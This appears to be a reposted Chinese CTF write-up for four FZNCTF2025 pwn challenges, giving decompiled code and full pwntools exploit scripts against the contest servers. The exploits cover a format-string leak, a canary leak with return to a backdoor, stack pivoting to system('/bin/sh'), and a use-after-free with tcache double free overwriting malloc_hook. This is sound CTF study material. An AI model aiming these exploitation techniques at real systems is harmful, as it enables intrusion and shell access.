FZNCTF2025-PWN-WP

news/2025/11/11 19:21:42/文章来源:https://www.cnblogs.com/Langx/p/19211347

FZNCTF-Langx-PWN-WP

fmt

格式化字符串漏洞

int __fastcall main(int argc, const char **argv, const char **envp)
{int fd; // [rsp+4h] [rbp-24Ch]char buf[48]; // [rsp+10h] [rbp-240h] BYREFchar format[520]; // [rsp+40h] [rbp-210h] BYREFunsigned __int64 v7; // [rsp+248h] [rbp-8h]v7 = __readfsqword(0x28u);init_func(argc, argv, envp);puts("Welcome to FZNCTF!");puts("lizimi is waiting for you...");puts("what do you want to say to him?");puts("please input:");fd = open("flag", 0);if ( fd == -1 ){perror("open flag failed");exit(1);}read(fd, buf, 0x30uLL);close(fd);read(0, format, 0x200uLL);printf(format);return 0;
}

程序首先会打开flag文件并读到栈上,本地调试可知偏移为7(64位格式化字符串)

exp:

from pwn import *
#p = process("./attachment")
p = remote("nc1.ctfplus.cn",11882)
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("please input:")
p1 = b'%7$s'p.sendline(p1)p.interactive()

bird

开了金丝雀(canary)

1762859739504

分析关键函数

unsigned int vuln()
{int i; // [esp+4h] [ebp-74h]char buf[100]; // [esp+8h] [ebp-70h] BYREFunsigned int v3; // [esp+6Ch] [ebp-Ch]v3 = __readgsdword(0x14u);puts("What a cute canary!!!!!");puts("Maybe the canary is a string of numbers?");puts("Can you guess the number?");for ( i = 0; i <= 1; ++i ){read(0, buf, 0x200u);printf("number %s", buf);if ( !strncmp(buf, "114514", 6u) ) //ctf经典数字Right(); //没有什么用}return __readgsdword(0x14u) ^ v3;
}

printf("number %s", buf);这一步我们可以泄露canary

泄露canary直接返回到后门getshell

exp:

from pwn import*
#p = process("./canary")
p = remote("nc1.ctfplus.cn",27529)
context.log_level = 'debug'psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)def bug():gdb.attach(p)pause()def exp():pc("Can you guess the number?")offest = 0x70 -0xcp0 = b'a'*offest#bug()psl(p0)#sendline多发送一个0xa-->'\n'shell = 0x8049285p.recvuntil(b'a'*offest)canary = u32(p.recv(4)) -0xa #所以这里直接减去0xa即可,因为canary最后一个字节也是00所以不用管psl(b'a'*offest + p32(canary)+b'a'*0xC+p32(shell)) #getshellp.interactive()exp()	

stack_pivotingx64

ssize_t vuln()
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFputs("now let's start to play!\n");puts("please give me your name\n");read(0, buf, 0x50uLL);printf("your name is %s\n", buf);puts("give me some other message\n");return read(0, buf, 0x50uLL);
}

程序存在栈溢出,但溢出长度不够,直接打栈迁移

printf("your name is %s\n", buf);

这一步泄露rbp地址,然后提前在栈中布置我们的rop链,存在堆栈不平衡加个ret,后面直接栈迁移

exp:

from pwn import*
a=input("yes is process ,no is remote:")
if "y" in a:p = process("./stack_pivotingx64")
elif "n" in a:p =remote("nc1.ctfplus.cn",19747)
context.log_level = 'debug'
psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)def bug():gdb.attach(p)pause()def exp():rdi=0x0000000000401275system = 0x40126amagic = 0x401256pc("please give me your name\n")p0 = b'a'*0x30ps(p0)pc(b'a'*0x30)rbp = u64(p.recv(6)[-6::].ljust(8,b'\x00'))-0x10rsp = rbp-0x30binsh =rsp+32ph(rbp)#bug()p1=p64(0)+p64(rdi)+p64(binsh)+p64(system)+b'/bin/sh\x00'+p64(magic+1)+p64(rsp)+p64(magic) #magic+1为retpc("give me some other message\n")ps(p1)p.interactive()
exp()	

ezuaf

保护全开

1762859757563

存在uaf,不存在栈溢出

int del()
{int v0; // eaxvoid *v1; // rdiputs("idx?");v0 = get_int();if ( v0 < 0 )return puts("invalid");if ( num <= v0 )return puts("invalid");v1 = (void *)heap[v0];if ( !v1 )return puts("invalid");free(v1);//指针未置零return puts("delete done");
}
int show()
{int v0; // eax__int64 v1; // rbxputs("idx?");v0 = get_int();if ( v0 < 0 )return puts("invalid");if ( num <= v0 )return puts("invalid");v1 = v0;if ( !heap[v0] )return puts("invalid");write(1, "content: ", 9uLL);write(1, (const void *)heap[v1], sizes[v1]);return write(1, "\n", 1uLL);
}

思路:先释放0x400的chunk挂进unsortedbin,通过uaf+show计算出libc基地址,打tcache_double_free,将malloc_hook填为one_gadget,用realloc来调节栈帧getshell

exp:

from pwn import*
a=input("yes is process ,no is remote:")
if "y" in a:p = process("./pwn")
elif "n" in a:p =remote("nc1.ctfplus.cn",31004)
e = ELF("./pwn")
libc = ELF("./libc-2.27.so")context.log_level = 'debug'psl = lambda data :p.sendline(data)
ps = lambda data : p.send(data)
ph = lambda data : print(hex(data))
pc = lambda data : p.recvuntil(data)
uu64 = lambda  : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
def bug():gdb.attach(p)pause()def cmd(choice):pc("5. exit")psl(str(choice))def add(size,content):cmd(1)pc("size?")psl(str(size))pc("content:")psl(content)def delete(idx):cmd(2)pc("idx?")psl(str(idx))
def show(idx):cmd(3)pc("idx?")psl(str(idx))		
def edit(idx,content):cmd(4)pc("idx?")psl(str(idx))pc("content:")ps(content)def exp(i):add(0x410,b'jian')#0add(0x410,b'1angx')#1delete(0)show(0)malloc_hook = uu64()-0X70base = malloc_hook - libc.sym['__malloc_hook']realloc = base  + libc.sym['realloc']realloc_hook = malloc_hook -0x8ogg_offest = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]ogg = base +ogg_offest[0]ph(base)add(0x40,b'1angx')#2delete(2)p1= b'a'*8+p64(0x114514)edit(2,p1)delete(2)edit(2,p64(realloc_hook))add(0x40,b'1angx')#bug()add(0x40,p64(ogg)+p64(realloc+i))cmd(1)pc("size?")psl(str(0x10))p.interactive()exp(2)	

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/962657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

102302138 林楚涵 作业2

🌦️ 第二次爬虫作业实录|天气 + 股票 + 大学榜作业①:在中国气象网(http://www.weather.com.cn)给定城市集的7日天气预报,并保存在数据库。 ① 核心代码与运行截图点击查看代码 import sqlite3, urllib.reques…

如何在 Windows 中使用 Kimi CLI(PowerShell 补充版)

字数 334,阅读大约需 2 分钟如何在 Windows 中使用 Kimi CLI(PowerShell 版)说明:本教程适用于 PowerShell 环境。如需在 WSL (Windows Subsystem for Linux) 中安装,请参考其他相关教程。一、安装 uv(包管理器)…

【计算机网络表格图表解析】网络体系结构、资料链路层、网络层、传输层、应用层、网络安全、故障排查

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

PWM妙用:解锁LED亮度调节与呼吸灯的LuatOS开发之旅

在嵌入式开发的精彩世界里,PWM技术有着举足轻重的地位。本次,我们将聚焦于PWM的经典应用——LED亮度控制及呼吸灯效果的实现。通过LuatOS开发环境,详细展示如何运用PWM功能,让开发者能够迅速掌握这一实用技能,开启…

主子式与顺序主子式

主子式 (Principal Minor)是线性代数中一个与矩阵相关的重要概念。 定义 对于一个nnn cross n 𝑛𝑛的方阵 Abold cap A 𝐀 ,它的 kk 𝑘阶主子式是指从矩阵中选取相同的行号和列号构成的一个 kkk cross k �…

python项目跟练 外星人入侵 01 3个位置

3个位置 1、游戏屏幕大小 2、飞船图片大小 3、飞船在游戏屏幕中位置游戏屏幕大小 # 将屏幕大小设置存到一个单独设置类中 self.screen_width = 1000 # 定义屏幕 宽xx像素 self.screen_height = 800 # 定义屏幕 高xx…

ONES 重磅升级|全新内核,深度可配置,适配复杂业务流

ONES 于近期完成创业十年来最大范围内核代际升级。深度灵活的自定义引擎,完善的开放平台体系,AI 友好的数据交互架构。此次内核升级的首批上层功能已正式发布。 此次 ONES Project 全新升级,围绕工作项信息管理与多…

类的继承

类的继承子类: public class teacher extends stu{}父类 public class stu {public String name="111";public void say(){System.out.println("shuohua");} }使用 public class Main {public st…

CUDA安装注意事项

参考网站:https://blog.csdn.net/weixin_52677672/article/details/135853106?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522f12aadfcb1121e89732052c8440ee6c5%2522%252C%2522scm%2522%253A%252220140…

豆包Seed-Coder编程能力小试

豆包Seed-Coder编程能力小试背景 最近字节发布doubao-seed-code-preview-251028模型面向Agentic编程任务深度优化 - 支持256K长上下文,让模型轻松处理长代码文件、多模块依赖等复杂场景,更好支持端到端自主编程…

数据类型 标识符 键盘录入

数据类型 标识符 键盘录入数据类型 标识符 键盘录入 数据类型 基本数据类型 ![基本数据类型](/Users/eefile/Documents/截屏2025-11-11 17.37.18.png) 代码测试 public class num { public static void main(String[]…

102302145 黄加鸿 数据采集与融合技术作业2

作业2目录作业2作业①1)代码与结果2)心得体会3)Gitee链接作业②1)代码与结果2)心得体会3)Gitee链接作业③1)代码与结果F12调试分析Gif2)心得体会3)Gitee链接作业① 1)代码与结果 中国气象网在之前任务中已经…

详细介绍:Spring Boot

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

echarts获取坐标上的点距离顶部底部高度

const height = echarts_instance.getHeight()const max_distance = (max_y - y_value) / (max_y - min_y) * height;const min_distance = (y_value - min_y) / (max_y - min_y) * height;

K8S(九)—— Kubernetes持久化存储深度解析:从Volume到PV/PVC与StorageClass动态存储 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

JAVA 随机函数

目录1. 日常开发(非安全场景):ThreadLocalRandom(推荐)2. 单线程/简单场景:Random3. 安全场景(如密码、Token生成):SecureRandom4. Java 8+ 流式处理:Random 结合流关键总结 在 Java 中生成随机数的“靠谱”…

GPIO 也是一个接口,还有 QEMU GPIODEV 和 GUSE - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …